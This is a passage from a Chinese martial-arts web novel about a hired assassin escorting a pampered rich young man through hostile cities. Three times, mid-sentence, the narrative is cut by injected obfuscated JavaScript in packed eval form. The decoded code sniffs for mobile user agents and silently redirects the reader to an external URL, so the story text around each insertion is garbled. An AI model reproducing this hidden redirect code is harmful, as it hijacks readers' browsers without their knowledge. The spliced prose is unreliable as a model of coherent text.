《第一刺客方隐攸》 1. 看热闹 方隐攸杀人了。 但是他忘了自己杀的是谁。 方隐攸仿佛大梦一场,醒过来时便只记得他一剑抹了那人的脖子。 作为天下第一刺客,从来没有人可以从他的可生剑下逃生,所以那人必死无疑。 可是,尸体呢? 方隐攸板着脸,环顾了一圈这间破旧、杂乱、乌烟瘴气的山野孤庙,然后握着剑,仔细的到处翻找尸体。 可惜他翻遍了这间破庙,除了几只死老鼠以外,没看到其它死物。 就在他百思不得其解时,外面传来一声仓促的脚步声,方隐攸将手里的长剑用力的朝着相隔数尺远的石墙上掷去,长剑如切豆腐般穿过石墙后又刺破长空数丈,径直插入远处一颗粗壮的老槐树中,猩红剑柄上的一颗白玉莲花在日光下闪着温润的光。 他也朝着声音传来的方向奔袭而去,只眨眼的功夫就到了老槐树下,一把捏住了满脸惊愕的男人的脖子。 这人他认识,叫柳傅文,是他的雇主,雇他护他上京。 至于他一个刺客,怎么不杀人反倒保人去了,只能说——有钱能使鬼推磨,他方隐攸杀人还是护人,全凭两者相较,酬劳多者胜。 柳傅文此人皮相生的极好,细皮嫩肉,唇红齿白,右脸上狭长的眼睛下面还有颗泪痣,眉眼一皱,就显得无辜,一看就是没受过什么苦的富家少爷。 也幸好如此,才能拿出百两黄金来雇他。 方隐攸抓住柳傅文的衣领将人提到一边,手握住剑柄轻轻一拔,入木三分的长剑就重回到他手里。 “你做什么?”方隐攸打量着柳傅文问。 柳傅文伸手捋平被他抓皱的长袍,愤愤不平的瞪了一眼方隐攸,“做什么?不是你让我在此等你?” 柳傅文反手指向身后的破庙,“我听到里面有动静,刚想进去看看,你的剑就刺来了。” 方隐攸手腕一转,长剑入鞘,他转身看向破旧的孤庙,“你可看到有人进出这座庙?” “本公子又不是看门的小厮,我怎么知道有没有人进出过?”柳傅文说完忽然指向他的脖子,“你受伤了?” 方隐攸一愣,抬手轻触了一下侧颈,黏腻的触感让他眉头紧锁,再一看,掌心全是半干的血迹。 他随意的在衣襟上擦干净手上的血迹,“没事。” 柳傅文于是也不再多问,摸了摸自己的肚子,说道,“进城吧,我饿了。” 方隐攸凝神思索许久,侧过头看了一眼柳傅文,“稍等。”随后,他脚在地上轻轻一跺,如猎豹一般迅速爬上槐树的顶端,将方圆数十里的动静都尽收眼里。 确定没有任何异常以后,方隐攸轻飘飘的落到柳傅文身边,一把抓住他的手腕,将人往自己背上一扔,说了一句抓好,然后两个人就如狂风吹过一般,迅速朝前奔去。 . 柳傅文有钱,不乐意吃苦,吃穿都要最好的,进城后问了过路人这城里哪家酒楼最好,直接就奔着去了。 方隐攸紧随其后,时刻注意着周围的动静。 等进了酒楼,方隐攸抬眼将整个大堂一扫,立刻一把扯住柳傅文的衣袖,“换一家。” 柳傅文不解,“为什么?” “有杀气。” 柳傅文闻言也不再多问,直接反手一把握住方隐攸的手腕将人带到酒楼方便的小巷子里,眼珠子转了一圈后压着嗓音问道,“对面几个人?” “一群人。”方隐攸悠悠然道,“不是冲你来的。” “啊?” 柳傅文话音刚落,就听到旁边传来一阵器械交接的刺啦声响,他狭长的眼睛瞪得老大,“这么大阵仗?” “嗯。我们且在此等等,等他们打完了再出去。” 说着,方隐攸往后撤一步,脚抵住墙角,闭上眼仔细聆听旁边的动静。 还不等他听出个好歹,忽然察觉到柳傅文动了,于是立刻睁眼一把拽住正打算往外冲的柳傅文。 “你要做什么?” 柳傅文满脸无谓,指了指巷子外面,“看热闹。” 方隐攸眉头一皱,“不安全。” “你打不过他们?” “打得过。” “那你为什么不让我去?我给的银子还不够多?”柳傅文眉峰一挑,嘴角下撇,做出一副轻蔑的表情,“我雇你来保护我,想看个热闹都还要畏手畏脚的,那我不是白花了那么多银子?本公子吃些苦,一路上小心谨慎些,就算没有你也上得了京!” 方隐攸冷着脸扫了一眼柳傅文,收回脚站好,“我陪你一起去。” 柳傅文满意的点点头,得意的转过身,肆意洒脱的不像个手无缚鸡之力的人奔赴厮杀现场。 两个人才走出小巷子口,恰好一个中年壮汉被人从里面扔了出来,昨夜里刚下过雨的道路还未干透,他在泥泞地里滚了一遭,浑身都是黄泥。 壮汉迅速起身,捡起落到一旁的断剑,又嘶吼着冲进了酒楼里面。 “走近一点。”柳傅文兴致勃勃,扯住方隐攸的衣袖,想要走到酒楼门口去看。 方隐攸看向自己衣袖上那只细白修长的手,然后将视线落在自己可以随手拧断的细长脖颈上,由着他将自己拉倒酒楼门口。 酒楼里面的顾客早已经落荒而逃,剩下的只有厮杀的双方,一群人早就杀红了眼,刀刀见血,越杀越勇。 “这也太凶残了。” 柳傅文虽然这么说着,但是整个人却不见半点慌乱,还有闲工夫指着其中一个壮汉问方隐攸,“他这剑不错。” 方隐攸顺着他手指的方向看过去,“不值一提。” “也是,你有可生剑。” 柳傅文说着,忽然朝着可生剑伸出了手,就在这时,方隐攸一把掐住了他的后颈,将他在自己身前转了一个圈后用力一推——柳傅文就像是一个断了线的风筝一样,后背狠狠的撞到了门框上后直接跌入了酒楼之内。 柳傅文疼的整个人都蜷缩了起来,他颤颤巍巍的指着方隐攸,五官扭曲的骂道:“方隐攸!你个野蛮的屠夫!你要摔死我吗?” 方隐攸愧疚的走到他身边,握住他的衣领将人提了起来,“对不住。” “一句对不住就够了吗?”柳傅文浑身都疼,手都不知道该揉哪个地方,最后只能愤怒的一掌打倒方隐攸的胸膛上,“你是南蛮人吗?不讲一点道理就打人?” 方隐攸撇开眼,不看他,“无人能碰可生。” “我碰到了吗?”柳傅文越发不满,“还隔着那么远!你就把我扔进来了!” 才说完,柳傅文忽然反应过来,酒楼里面的打斗声好像停住了,他不解的转头看过去,便看到那两拨人正不约而同的虎视眈眈的盯着他们二人。 柳傅文吓得打了一个寒颤,迅速蹦到方隐攸的身后,“都怪你,本公子只想看个热闹,可不想自己身上变得热闹起来,你得好好保护我!” 方隐攸点点头,“好。” 他握住可生,上前一步,将柳傅文挡在身后,随意的扫了一圈面前的二十多个人,他们都是打到正酣的壮汉,一个个凶神恶煞,看上去又勇又狠。 “要打吗?”方隐攸问道。 一个壮汉将手中的长枪在地上用力一跺,枪柄陷入地里半尺,“你们是哪里来的不懂规矩的毛头小子?” 方隐攸诚恳的答道:“路过的外地人。” “外地人?”壮汉呵呵一笑,“外地人就敢来看热闹?”说完,他抬脚侧踢枪柄,长枪在空中一扫,迅速朝着方隐攸的面门戳来。 方隐攸的脸上挂着浅笑,视线落在枪头上还未干的血迹上。 刺客的剑上,该是滴血不沾。 无人看清方隐攸何时动作,定眼瞧去时,他已经手握长剑,立于壮汉身后,剑刃上连一丝血迹都没有,壮汉脖子上的血却如泉水涌出,手中的枪也瞬间落地,当的一声响,惊得酒楼里的众人如惊弓之鸟般飞散。 柳博文啧啧称叹的走到方隐攸身侧,装模作样的朝他拱手作揖,“方大侠厉害。” 方隐攸将长剑入鞘,看向倒在地上一动不动的壮汉,“一百零一两黄金。” “好说好说。”柳傅文无所谓的拍拍手,“本公子身无长物,就是银子多。”说着,他上前一步,用肩膀碰了一下方隐攸,“跑的那些人,会不会搬救兵过来?” “不清楚。”方隐攸走向柜台,用剑柄轻轻敲了敲柜面,“出来。” 一个中年男人颤颤巍巍的从柜台地下站了起来,他留着山羊胡,穿得十分体面,看样子应该是店家。 “你认识那两伙人吗?”方隐攸问道。 店家愣了一下,然后连连点头,“认得认得!城北李家和城南宋家的护院,他们两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810140|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家结怨已久,今日也不知怎的就打起来了!” 店家越说越委屈,“平日里,我给这两家没少交银子,今日他们在我店里这么一打,谁还敢来我这里喝酒吃饭?” 柳傅文往柜台上一趴,侧着脸看向方隐攸,“看样子你惹上麻烦咯。” 方隐攸眼神无波的扫他一眼,“还吃饭吗?” “吃啊,当然要吃!” 柳傅文从怀里掏出一把碎银子扔到柜台上,“店家,你快着人把这里收拾收拾,然后再给我上一桌好酒好菜!” 店家有些为难的瞟一眼方隐攸,不肯收下银子。 方隐攸问道,“怎么了?” “你们两位还是快点走吧。”店家叹一口气,“你们是外地人不懂我们这里的情况,李、宋两家前些年各送了一位小姐入了咱们邑州知州的后院,那两个小姐又都深受知州宠爱,这两家人如今在邑州城可谓是呼风唤雨!” 店家手指向地上的壮汉,“侠士,你杀的是李家的护院,宋家谢不谢你另说,李家肯定是不会放过你了!” “无妨。”方隐攸伸手将银子往店家那边推了一下,“我们吃过饭便会离去,不会影响到你家的生意。” “我哪里是担心小店的生意!”店家摇头叹气,无可奈何的摆了摆手,“你们执意要留,那便留吧。” 店里的伙计也陆陆续续的回来了,他们手脚都很麻利,很快就将大堂打扫的干干净净,完全看不出来方才这里发生过什么。 方隐攸和柳傅文找了一个靠窗的方桌坐下,等到店小二将饭菜都端上来,也还没有人上门来寻仇。 柳傅文平时虽聒噪,但是吃饭时却十分文雅,细嚼慢咽、一言不发。方隐攸比他随意得多,迅速填饱了肚子,然后静静的等待着他。 柳傅文咽下最后一口饭,将筷子仔细的放到桌上,然后朝着方隐攸满意的点点头,“不错,不愧是城里数一数二的酒楼!” 说着,他伸手指了指还剩下大半盘的鸡肉,“就是这鸡做的还差点火候。” 这鸡方隐攸吃过,肉质紧致而不柴、味道香辣而不腥,不懂他还在挑剔些什么。 “现在天色虽尚早,要出城吗?”方隐攸问道。 “那我们天黑之前能赶到那一个城镇吗?” 下一个城镇据此地300多里,方隐攸若是孤身一人的话,疾步前行倒是能赶到,但是想到柳傅文被他背着都会嫌弃速度太快,风吹得脸疼的德行,方隐攸摇了摇头,“赶不到。” “那我们出城做什么?你想让我睡树上?还是随便找一处农户让我睡杂草铺?” 柳傅文只想到那种情景,浑身就散发着抗拒的情绪,他十分坚定的看着方隐攸,“不可能,我柳傅文这辈子从来没有吃过这种苦!” 方隐攸无语的嗯了一声,“不会让你吃苦。” 柳傅文起身走到柜台边,敲了敲柜面,问坐在里面算账的掌柜,“你们这邑州城有什么好玩的吗?本公子想去看看。” 掌柜原先不在,刚刚才回来,他虽没有亲眼看到店里先前发生了什么,但是也听到别人说了一些,闻言立刻长叹一口气,“哎呦我说公子啊,你们赶紧走吧,我可是听说李家打算去找知州借府兵来找你们算账呢!那可是官兵啊!你们打不过的!” “你只管回答我的问题就行,官兵又怎么样?我的镖师厉害着呢。” 掌柜看一眼正缓缓朝着这边走来的方隐攸,他虽然身姿飒爽,气质不凡,手中的长剑看上去也很唬人,但是常言道一拳难敌四手,他怎么可能对付得了数以百计的府兵呢? 掌柜显得有些忧心忡忡,语重心长的再次劝告柳傅文,“公子的镖师再厉害,能打得过这一城的官兵?听我一句劝,你们且快些走吧。” 柳傅文的脸色一沉,语气变得不耐烦,“你这老头,废话怎么这么多——诶——” 方隐攸没让柳傅文说完就拽着他的衣领将他提到了自己身后,他往前一步,朝着掌柜笑了笑,“先生好意,官兵我有办法对付,你不用担心。” 掌柜狐疑的看他一眼,但是也不好再多说些什么,“再过半盏茶的功夫,就在酒楼斜对面的瓦子里面有戏曲、杂耍,你们想玩,可去那里。” 方隐攸笑着说了声多谢,转头看向柳傅文,“走吗?” 柳傅文不满的瞪了他一眼后扭头就走。 2. 住柳府 瓦子乃是城中最热闹的地方之一,通宵达旦,享乐者往来不绝。 方隐攸和柳傅文进瓦子的时候众人脸色虽有异样,但是却无一人阻拦,还毕恭毕敬的替他们指了路,告诉他们唱曲的在哪一方、跳舞的在哪一方、玩杂耍的在哪一方… 方隐攸从未来过这种地方,一进来便觉得吵闹。 大大小小的勾栏里,有身披薄纱扭动身躯的艺妓;也有胸可碎大石的壮汉;还有替人卜卦算命的江湖术士。 喧闹声可谓是此起彼伏。 柳傅文与方隐攸不同,他一入瓦子便像是鱼入大海,一会听书一会看戏,没半点不自在。 可怜方隐攸,只能跟着到处跑,一路上不知道听了多少浑词艳曲。 “尝尝?” 柳傅文不知道从哪里弄来的一杯酒,颜色如血,香味浓郁。 “哪里来的?会不会有问题?” 柳傅文撇撇嘴,“这里都是些平民百姓,谁会害我?” 说完,他喝了一口酒,砸吧了一下嘴后将酒杯递给方隐攸,“没事,喝吧。” 方隐攸于是接过酒杯抿了一口,酸涩的味道让他皱起了眉,“有些难喝。” “你再尝尝?” 方隐攸于是再喝一口,这次十分笃定的说:“难喝。” 柳傅文哈哈大笑,“美酒须细品,你这个屠夫当然不懂!” 方隐攸将酒杯还给他,别过脸不再看他。 忽然,瓦子入口处传来一声大喝,“官府办案,闲杂人等速速退去!” 方隐攸瞬间反应过来,将柳傅文往自己背上一扔,然后迅速朝着人流奔去,想要混进人群中出去。 可是才走几步,他就看到入口处竟然站了一群官兵,正堵在人流前面,拿着画像比对着一个一个的放行。 柳傅文也看到了,戳了戳方隐攸的背,“杀出去。” “不可,百姓无辜。” 才说完,方隐攸忽然感觉到浑身一冷,紧接着眼前开始发黑。 他脸色一沉,质问柳傅文,“那酒你究竟是从哪里弄来的?” 柳傅文指了指不远处的一个小推车,“那里拿的啊。” 上面不止摆了酒还有很多水果和糕点,应该是瓦子为客人准备的。 “酒怎么了吗?”柳傅文问道。 方隐攸的状态越来越差,眼冒金星,脸色发白,像是立刻就要昏睡过去一样。 “你没有什么不适感?” “没——”柳傅文话还没说完,忽然浑身一软,整个人都变得十分无力。 “柳傅文?” “没事...就是头有点晕...”柳傅文有气无力的说到。 他掂了掂背后的人,“抱好。”然后拔出可生剑朝着自己的大腿用力的划了一剑,鲜血即刻顺流而下,将他的裤腿染湿。 柳傅文见状惊呼一声,“你怎么了?” 疼痛令方隐攸耳清目明,他长呼一口气,“没事。” 方隐攸环顾四周,在官府的人还没有注意到他们之前往已经无人的勾栏中跑去。 “他们迟早会搜过来。”柳傅文趴在方隐攸背上,整个人都是怏怏的。 “我知道。” “那你为什么还进来?让他们瓮中捉鳖吗?” 方隐攸不再理柳傅文,他仰起头看向屋顶。“只能走这里了。” 柳傅文也抬头看屋顶,“你想用我的头撞破屋顶?” 他呵呵一笑,“本公子我千金之躯——啊!” 柳傅文话才说一半,方隐攸已经踩着立柱借力往上攀去。 方隐攸一把捂住他的嘴,“闭嘴,护住脑袋!” 门口的官兵听到声音即刻朝着这边奔来,在看到他们的一瞬间,手一招,下令弓箭手放箭。 柳傅文的脸埋在方隐攸背上,并不知道发生了什么,方隐攸却能将射向他们的箭羽看的清清楚楚。 眼看着箭头就要射入柳傅文的后背,方隐攸也终于爬上了横梁,他执剑用力劈开屋顶,然后迅速翻身而出,在最后一刻将柳傅文安全带了出来。 “此地不宜久留,抱紧我!”方隐攸扭头朝着柳傅文说道。 柳傅文感觉到眼下两人已经离开了瓦子,于是抬起头来,发现方隐攸正背着自己在屋顶上奔袭,“你要带我去哪里?” “城北李家。” 柳傅文一愣,“你要去送死?” “最危险的地方最安全。” 柳傅文叹一口气,用下巴抵住方隐攸的侧肩,“随便你去哪,反正今晚本公子要睡铺了三床被子的软榻。” “好。” 方隐攸虽然没有去过李府,但是城北最豪华的府邸必然是姓李的。 他先在隔壁院子的一颗老桑树上仔细观察了一下李府的情况,确定安全以后背着柳傅文上了一处偏院主屋的房顶。 方隐攸怕柳傅文手脚不知轻重,踩碎了瓦片,便依旧背着他。 柳傅文也乐得轻松,仰头看漫天星辰,而方隐攸则是拿开一片瓦以后埋首窥屋内动静。 屋里只有两个人,一个身穿锦衣坐在书案前练字的公子哥,一个安静的守在旁边的书童。 方隐攸捏碎手中瓦片,然后弹出几块碎片砸向院门。 书童闻声即刻出门去看,主屋离院门有十丈远,走过去也需要点时间,方隐攸趁机进了屋内,然后长剑直抵公子哥面门,又在他尖叫声还没出口时拿起旁边的手帕塞在他嘴里。 公子哥吓得瑟瑟发抖,用眼神询问他们想要做什么。 “我们借住一晚,你按我说的做,我便饶你不死。” 方隐攸说着长剑一挥,书案便被削下一角,“否则,你当如此案。” 公子哥忙不迭的点头,就怕慢了一步方隐攸的剑削下自己的脑袋。 方隐攸手腕一转,剑风扫过烛台,整个房间瞬间陷入黑暗,他将背后的人放了下来,然后对公子哥说道,“把下人打发走。” 恰好这时书童走了回来,发现房间熄了灯,以为公子哥要睡了,便并未入内,而且在门口问道,“公子今日怎么睡这么早?是身体不适吗?” 方隐攸拿出公子哥嘴里的手帕,用剑鞘轻拍公子的肩膀,示意他赶紧回话。 公子哥咽了咽嗓子,用尽量正常的语气说道:“我身子无事,就是感觉到有些困了,便歇下了,你也下去休息吧。” 书童并未察觉到异常,闻言便退下了。 公子哥在黑夜中瑟瑟发抖,“两位大侠,还有什么吩咐?只要你们不杀我,要我做什么都行。” 方隐攸凝神听了会屋外动静,确定没有异样以后一掌打向公子哥后颈,他瞬间昏倒在书案上。 方隐攸回头看向一直站在他身后的柳傅文,“你睡床。” 柳傅文满意的点点头,摸黑朝着书案后面的大床走去。 公子哥的床又大又软,床榻上的布料都是上等品,摸起来十分舒服,柳傅文对此非常满意。 他和衣躺在床上,侧过身子,借着昏暗的月色看着正坐在椅子上处理腿上伤口的方隐攸。 “要帮忙吗?” 方隐攸身上的伤疤无数,哪次不是自己一个人处理的,他说了声不用,利落的撕开长裤,然后从怀里掏出金疮药撒在伤口上。 “这公子哥和你的身形差的可多了,你把裤子撕了,明天穿什么?” 公子哥十分瘦弱,而方隐攸虽然瘦削,但是他高,和柳傅文这个八尺男儿不相上下,腿更是修长,公子哥的衣裳他肯定穿不了。 方隐攸一愣,尴尬的干咳一声,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810141|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不劳你费心,早些睡吧。” 柳傅文朝他撇撇嘴,掀开被子盖在身上,转身就睡觉去了。 方隐攸处理好伤口,从旁边拿过来一个厚披风盖在公子哥身上,然后悄无声息的出了门。 柳傅文第二天醒过来的时候天色已经大亮,公子哥正一脸痴态的盯着他。 昨天夜里烛光昏暗,柳傅文并未仔细看过他的脸,如今定眼一瞧,发现他这个人长得实在是不雅。 “你盯着我做什么?” 公子哥嘿嘿一笑,“大侠长得俊俏,我竟从未见过如此好看的男人。” 柳傅文闻言脸色瞬间沉了下来,视线转向站在公子哥身后的方隐攸,“一百零二两黄金。” 方隐攸瞟他一眼,抬手再次打向公子哥的后颈,他这次没了倚仗,直愣愣的摔在了地上。 柳傅文走到公子哥身边,抬脚踹了他几脚,“竟然敢调戏公子我,你也是活腻了。” 方隐攸身后抓住他的衣袖,“来吃饭,吃完上路。” 柳傅文被他拉倒饭桌边,上面摆满了菜,而且还热气腾腾的,“这么丰盛?”他指向地上的公子哥,“他弄来的?” “嗯。” 柳傅文啧啧称叹,“不错不错,是个好人。” “那你还让我打晕他?” “这是两码事。” 方隐攸摆好碗筷,看他一眼道:“吃吧。” 柳傅文瞬间变得安静起来,整个房间便也安静下来,方隐攸吃的依旧比柳傅文快,他吃完等了将近半盏茶的功夫柳傅文放下碗筷。 柳傅文摸了摸胃部,“不愧是城北李家,厨子都比酒楼里面的厉害。” 方隐攸站了起来,朝他伸出手,“走吧。” 柳傅文顺着他的手掌往上看,忽然注意到他的今天穿的不再是那一身黑布隆冬的窄袖长衫,而是一件藏青色、衣襟上还绣着金丝祥文的长衫,腰间束着一根黑色的腰带,裤子上也绣着金丝祥文。 “方隐攸,你这衣裳哪来的?” 方隐攸的脸上罕见的露出一个窘迫的表情,他沉默不语,直接将人扔到自己背上,“抓好。” 柳傅文哈哈大笑,“你去做小偷啦?” 方隐攸依旧沉默不语,反手捂住他的嘴,凝神分辨周遭环境,确认院子周围没有旁人以后,迅速拉开房门,然后猜着院子里的几块假石飞上了屋顶。 “我们能出城吗?” 柳傅文戳了戳方隐攸的背,“李家的人不会在城门口堵我们吧?” “应该不会。” “应该?” 方隐攸一遍观察周围动静,一边背着柳傅文在屋顶上奔走,闻言还要分出心神来回应,“昨天晚上他们闹出那么大动静,应该猜不到我们敢光明正大出城。” “也是,这城里但凡有个聪明人,昨天晚上我这觉也睡不了这么安逸。” 片刻功夫以后,方隐攸跳下屋顶,稳稳的落在一条僻静的小巷子里,柳傅文也从他背上跳了下来。 “等会出城你镇定点,别让人看出端倪,我不想杀无辜的人。”方隐攸盯着柳傅文郑重的叮嘱。 柳傅文哦一声,“我又不是傻子,当然知道。” 说着,他先一步朝着巷口走去,方隐攸随即跟上,与他并肩朝着城门口而去。 事实上也确实如他们两人所料,守城的官兵们对于出城之人并未严加盘问,只随意的看了他们两人一眼就放行了。 两人走了一会,柳傅文扯住方隐攸的胳膊,“你想让我走300多里吗?” 方隐攸顺着他的力道停了下来,回首看了距离他们不过百丈远的城门,“这么点路,你就走累了?” “一百零三两黄金。” 方隐攸于是直接将他扔到背上,“抓好。” 3. 夜至 因着柳傅文给了方隐攸一两黄金,方隐攸贴心的考虑到奔走速度若是太快,他在背上必然会感觉到不适。 于是便刻意放慢了脚程,平日里4个多时辰便可赶完的路,今日他硬生生花了将近六个时辰,所以两人到徐州城的时候,天色已经黑了许久,柳傅文也已经在他背上喊了大半天的肚子饿了。 方隐攸将柳傅文放在路旁的一块青石板上,掏出怀里不知道递了多少遍的干粮,“我给你准备了吃的,是你嫌弃太硬太干不肯吃。” 柳傅文满脸嫌弃的指着他手里的饼,“方隐攸,我告诉你,本公子就算是饿死,也不会吃这种糟糠之物!” 方隐攸咬了一口饼,嚼碎了咽下去,面无表情的盯着他,缓缓道,“挺好吃的。” 柳傅文愤怒的捶了他一拳,转身朝着前面不远处的酒楼走去。 方隐攸看着他左摇右晃的背影,忍不住勾了勾嘴角,一边吃着干饼一边快步追上了他。 柳傅文侧过脸瞟了他一眼,“吃饱了吗?” “还行,不算饱。” “等会给你点两个馒头,你只配吃这个。” “好。” 两个人刚说完,旁边巷子里面忽然冲出来一个人影,方隐攸手疾眼快,一把揽住柳傅文的腰将人带到身后护住。 那人也没料到自己差点撞到人,反应过来以后立刻朝两人拱手作揖,连连道歉。 “抱歉抱歉两位公子,在下一时慌乱,差点撞到二位。”说着,他转身便继续朝前走。 方隐攸盯着他的背影打量片刻,然后转身看向柳傅文,“还好吧?” 柳傅文点点头,他上前一步,伸手指着那人的背影,说道,“他身上那是...” “血。” “我还以为是我看错了。”柳傅文纳闷的看向方隐攸,“他看上去文质彬彬的,怎么沾了一身的血?” “不知道。” “算了算了,反正和我们无关,饿死了,吃饭去!” 柳傅文说完,大手一摆,快步走进了酒楼。 这个时候酒楼里面的客人已经不多了,大堂里的桌子大部分都空着,柳傅文选了个靠窗的,朝着店小二招了招手,“把你们店里的招牌菜都端上来!再来一坛好酒!” “好嘞!”店小二吆喝一声,就入了后厨。 方隐攸坐到柳傅文的对面,侧过头看向窗外的街市。 路两边的店铺檐下已经都挂上了灯笼,来往的行人不多,进店的便更少,许多店家已经坐在门口歇息,或是与邻铺的同行说几嘴闲话打发时间。 柳傅文无聊的撑着下巴发呆,忽然反应过来自己方才说了要让方隐攸吃馒头的话,立刻又朝着刚从后厨回来的店小二喊了一声,“再来三个馒头!一桶米饭!” 店小二立刻应和一声,又转身朝着后厨走去。 方隐攸闻言转过头来面无表情的看向柳傅文。 柳傅文呵呵一笑,“付账的人是我,你管我点什么?” 方隐攸沉默的点点头,转头继续看着窗外,直到桌子上摆满了菜,馒头也端上来以后,才伸手过来拿起馒头,面朝窗外啃馒头。 柳傅文碗里都是色香味俱全的佳肴,杯子里也是香醇的美酒,他抬头看一眼方隐攸,本想嘲讽他一番,却发现他的侧脸鼓鼓囊囊的,随着咀嚼的动作起起伏伏,比他府里养的几只猫还可爱。 但是转瞬间,他又想起方隐攸杀人时候的心狠模样,立刻抖了抖肩膀,不再看他。 不过他还是忍不住将面前的一碗饭放到了他的面前,“赏你了,吃吧。” 方隐攸回头看向他,眼神疑惑。 “我一个人吃得完吗?”柳傅文指着满桌的菜肴,“本公子难道是猪吗?” 方隐攸哦一声,将吃剩下的馒头放了回去,端起饭碗大快朵颐,连个眼角余光都没给柳傅文。 柳傅文立刻后悔赏他饭吃,暗骂自己还是太善良了,于是抬脚在桌子底下狠狠地踩了他一脚。 不过方隐攸对此没有任何反应,抬手又夹了一筷子酿豆腐。 两人赶了一天的路,等到吃饱喝足,也没了其他闲玩的心思,直接去隔壁客栈开了一间上房。 上房既宽敞舒适,又雅致安逸,最主要的是除了一张大床以外,还有一个软塌,方隐攸便可以不用像昨天那样打地铺了。 今夜月明星稀,月光透过窗户恰好落在睡在软榻上的方隐攸的脸上,他鼻梁非常高,投下的阴影挡住他半个眼睛。 柳傅文躺在床上,盯着那抹月光,貌似无意的问道,“方隐攸,你功夫这么好,你的师父在江湖上应该也很有名吧?” “我没有师父。” “真的假的?”柳傅文明显不信,“那你这身功夫怎么来的?总不可能是哪一天睡醒了就有了吧?” “自己琢磨出来的。” 柳傅文翻身坐了起来,语气越发怀疑,“怎么可能?就算没有师父,那总有照着练得武功秘籍吧?” “没有。” 方隐攸的语气一直淡淡的,显得十分随意,像是在打发聒噪的雀一样,没有一丝波澜。 柳傅文又躺了回去,长叹一口气,“要是我能有你这身功夫就好了,这百两黄金便落不到你的口袋里去。” 方隐攸纠正他,“是一百零三。” “就区别吗?” “有。” “什么区别?” “我可以少杀半个人的区别。” 话说到这里,柳傅文忽然想起来这人不仅保人,还杀人,于是又问道,“你杀一个人能拿多少银子?” “一百两白银。” “无论杀谁都是一百两?” “嗯。” “那要是那个人武功高强,杀起来比较麻烦呢?” “对我来说都一样。” 方隐攸说完翻了个身,“睡吧。” 柳傅文撇撇嘴,也翻了个身闭上眼睛睡了。 等到夜半时分,原本双眼紧闭的方隐攸忽然坐了起来,他翻身下榻迅速闪至门后,屏息等待着门外人的动静。 不知道门外的人是不是察觉到了他已经醒了过来,并未有任何动作,只静静地站了一会便走了。 方隐攸接的是保人的生意,屋外的人既然没有动手伤柳傅文,他便也没必要去追。 床上的柳傅文睡得正酣,半个身子漏在外面,早春夜间温度偏低,他这体格冻一晚上必然会着凉,到时候免不了又要磋磨方隐攸。 方隐攸无奈的叹一口气,走到床边替他盖好被子,怕他又掀被子,还着力压了压,确保他能安稳的睡一晚上以后,方隐攸才再次上了榻。 第二天柳傅文醒过来时天已经大亮,他这一觉睡到舒坦,整个人都神清气爽的,他一抬眼看到方隐攸正站在窗户边,好奇的问道,“你在看什么呢?” “昨夜我们碰到的那个书生,今日去衙门里投了案,说自己杀了邻居家的当家,现在正在游街示众。” 柳傅文一听,立刻凑了过来,半个身子都探了出去。 客栈临街,而且是闹市街上,现在下面挤满了人,只留出一条可走一人的缝隙。 那个书生还穿着昨夜那件带血的长衫,手脚上都拴着铁链,铁链一头被走在他身前的官兵牵着,两个人正从人群中缓缓穿过。 官兵高声喊着他的罪行,但是人群里面却无一人谩骂书生,皆是替他求情,说他杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810142|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实属无奈,望官府可以从轻处理。 “稀奇,杀人犯还成了无辜者了。”柳傅文啧啧感叹一句,随后看向身侧的方隐攸,“一两黄金,你去帮我探探口风,这到底是怎么回事。” “下一个城镇离此地甚远,若再耽搁,今日肯定到不了,我们便只能明日启程,那我这趟保你的生意就得多走一日。” “二两黄金。” “好。” 方隐攸说完就从窗户上跳了下去,柳傅文看着他直接拉过一个男人,长剑朝着他的脖子上一放,那个男人便哆哆嗦嗦的口若悬河的说了起来。 等到他再从窗户上进屋,耗时不过半盏茶的时间。 柳傅文不可置信的瞪着他,“就这么一会功夫的事情,你竟然要我二两黄金?” 方隐攸走到桌子边给自己沏了一杯冷茶,“我强迫你了吗?” 柳傅文呵呵一笑,在他将茶送入口中前抢了过来,一口饮尽后大笑两声,“方隐攸,你知不知道为什么我有万贯家财,而你却一无所有吗?” “愿闻其详。” “因为贪财者注定伤财。” 方隐攸点点头,“有道理。” 说完,他抬眼看向他手中的空杯子,“还喝吗?不喝还给我。” 柳傅文闻言气极反笑,将杯子朝他面前一扔,“给你!” 方隐攸又给自己沏了杯茶,喝过了以后才将自己刚刚打听到的消息一字不差的说了出来。 其实事情原委也很简单,书生的邻居是有一家三口人,一对夫妇和一个半岁的幼子。 妇人原是邻州人,家中遭了难,逃难至此次,无亲无故无依无靠,路过男人家时被他施舍了一碗饭,便留在了他家。 